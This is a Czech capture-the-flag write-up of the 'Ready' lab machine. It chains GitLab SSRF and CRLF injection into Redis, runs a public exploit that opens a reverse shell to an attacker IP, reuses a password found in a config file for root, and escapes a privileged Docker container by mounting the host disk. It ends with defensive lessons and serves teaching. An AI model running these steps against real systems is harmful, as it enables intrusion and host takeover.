Ready
Úvod a kontext
Ready je ve skutečnosti GitLab kontejner vystavený přes nginx. User část stojí na kombinaci dvou starších GitLab chyb: SSRF v importu repozitáře a CRLF injection, která dovolí poslat vlastní příkazy do lokálního Redis. Root pak není o další webové chybě, ale o tom, že kompromitovaný kontejner běží jako privileged.
To je důležitý rozdíl. První polovina článku je čistě aplikační exploit proti GitLabu. Druhá je už kontejnerový únik na host, protože provozní nasazení dalo útočníkovi víc práv, než bylo nutné.
Technicky tak Ready propojuje hned několik samostatných témat: SSRF, reverse proxy a localhost trust assumptions, Message brokery a interní fronty jako zdroj tajemství a Container boundary mistakes: bind mounty, docker exec, runc, privileged.
Počáteční průzkum
Otevřené služby
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4
5080/tcp open http nginx
Web na 5080 byl GitLab. Po registraci nového účtu šlo na Help stránce vyčíst konkrétní verzi:
GitLab Community Edition 11.4.7
To je dost staré vydání na to, aby dávalo smysl hledat veřejně známý exploit chain místo ručního fuzzingu.
Analýza zjištění
SSRF a CRLF injection do Redis
Ready stojí na kombinaci dvou GitLab chyb:
CVE-2018-19571umožní SSRF přes import repozitáře,CVE-2018-19585dovolí do stejného požadavku vložit CRLF a poslat vlastní řádky protokolu.
To je důležité chápat společně. Samotné SSRF by dalo jen omezený GET na lokální službu. CRLF injection ale z jedné import URL udělá mechanismus, kterým se dají poslat vlastní příkazy do localhost Redis.
Je to zároveň pěkná ukázka článku Lokálně dostupné služby po footholdu: localhost není boundary, jen tentokrát ještě před prvním shellem: GitLab důvěřuje Redis jen proto, že běží lokálně, a SSRF tuto hranici zruší.
Praktický cíl byl jasný: GitLab používá Redis pro fronty resque, takže šlo vložit job, který spustí shell command přes GitlabShellWorker.
Místo ruční skládanky šlo použít hotový exploit pro tuto verzi, například 49334.py, který celý řetězec provede za nás.
Získání přístupu
Shell jako git v kontejneru
Po spuštění exploitu přišel reverzní shell jako uživatel git:
python3 /usr/share/exploitdb/exploits/ruby/webapps/49334.py -u tomas -p Aaa12345678! -g http://10.10.10.220 -l 10.10.14.7 -P 4444
První důležitá věc po footholdu byla ověřit, kde shell vlastně běží. Indicie jako .dockerenv, minimální userspace a interní adresa ukazovaly, že nejde o host, ale o GitLab Docker kontejner.
User flag přesto ležel dostupně v /home/dude:
cat /home/dude/user.txt
__CENSORED__
Eskalace oprávnění
Root uvnitř kontejneru
V /opt/backup byly pro další postup rozhodující dva soubory:
gitlab.rbdocker-compose.yml
První z nich obsahoval heslo:
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
Na hostu by z toho ještě neplynulo nic. V kontejneru ale šlo stejné heslo použít přímo pro:
su -
Tím vznikl root shell uvnitř GitLab kontejneru.
Proč z kontejneru vede cesta na host
Teprve docker-compose.yml vysvětlil, proč je root v kontejneru tak silný:
To je přesně ten okamžik, kdy se z aplikační kompromitace stává container boundary problém: root v kontejneru by sám nestačil, ale privileged: true z něj dělá skoro host-level identitu.
privileged: true
Kontejner tedy neběžel v běžně omezeném režimu, ale s oprávněními velmi blízkými hostiteli. To otevřelo několik cest úniku. Nejjednodušší byla prostě připojit hostovský disk:
mount /dev/sda2 /mnt
Po mountu už byl k dispozici celý filesystem hosta včetně:
/mnt/root/root.txt- nebo
/mnt/root/.ssh/id_rsapro stabilní SSH jako root.
Tady končí skutečný root kompromis Ready. Nejde o další CVE, ale o to, že provozní tým spustil kompromitovaný GitLab kontejner v příliš privilegovaném režimu.
Shrnutí klíčových poznatků
- Ready začíná starým GitLabem, kde se zkombinuje SSRF a CRLF injection do Redis queue.
- První shell běží jen jako
gituvnitř Docker kontejneru, nikoli na hostu. - Root v kontejneru otevře heslo uložené v
gitlab.rb. - Finální root na hostu padne až kvůli
privileged: true, které dovolí přímý přístup k host filesystemu.
Co si odnést do praxe
- GitLab a podobné vývojové platformy je potřeba aktualizovat agresivněji než běžný interní web. Kombinace více „středních“ chyb se u nich často skládá do plného RCE.
- Lokální služby jako Redis nejsou bezpečné jen proto, že poslouchají na
127.0.0.1. Jakmile aplikace dovolí SSRF, localhost se stává součástí veřejné attack surface. - Tajemství v konfiguračních souborech typu
gitlab.rbnebodocker-compose.ymlmají po footholdu stejnou hodnotu jako heslo v password manageru. Nesmí se reuseovat napříč rolemi. - Kompromitovaný kontejner nemusí znamenat kompromitovaný host. To se změní až ve chvíli, kdy je kontejner spuštěný zbytečně privilegovaně.
privileged: trueje potřeba brát jako výjimku, která vyžaduje velmi silné zdůvodnění.